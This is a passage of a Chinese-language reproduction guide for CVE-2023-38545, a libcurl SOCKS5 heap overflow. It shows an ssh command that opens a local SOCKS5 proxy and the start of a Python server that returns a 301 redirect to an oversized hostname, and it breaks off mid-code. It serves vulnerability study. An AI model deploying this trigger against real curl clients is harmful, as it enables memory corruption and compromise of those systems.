CVE-2023-38545-libcurl-SOCKS5-heap-buffer-overflow — Proof-of-concept exploit for CVE-2023-38545, a heap buffer overflow in libcurl's SOCKS5 proxy handshake triggered via a malicious HTTP 301 redirect with an oversized hostname. | Kitploit

免责声明

本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

CVE-2023-38545：libcurl-SOCKS5-heap-buffer-overflow

参考项目：https://github.com/UTsweetyfish/CVE-2023-38545 做一次复现

复现流程：

运行如下指令开一个socks5服务，监听端口10801：

ssh -D 10801 127.0.0.1

创建python文件:server.py，开一个会返回超长hostname的301响应的web服务，监听端口8000，然后python3执行：

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # 301重定向到超长的URL
        self.send_response(301)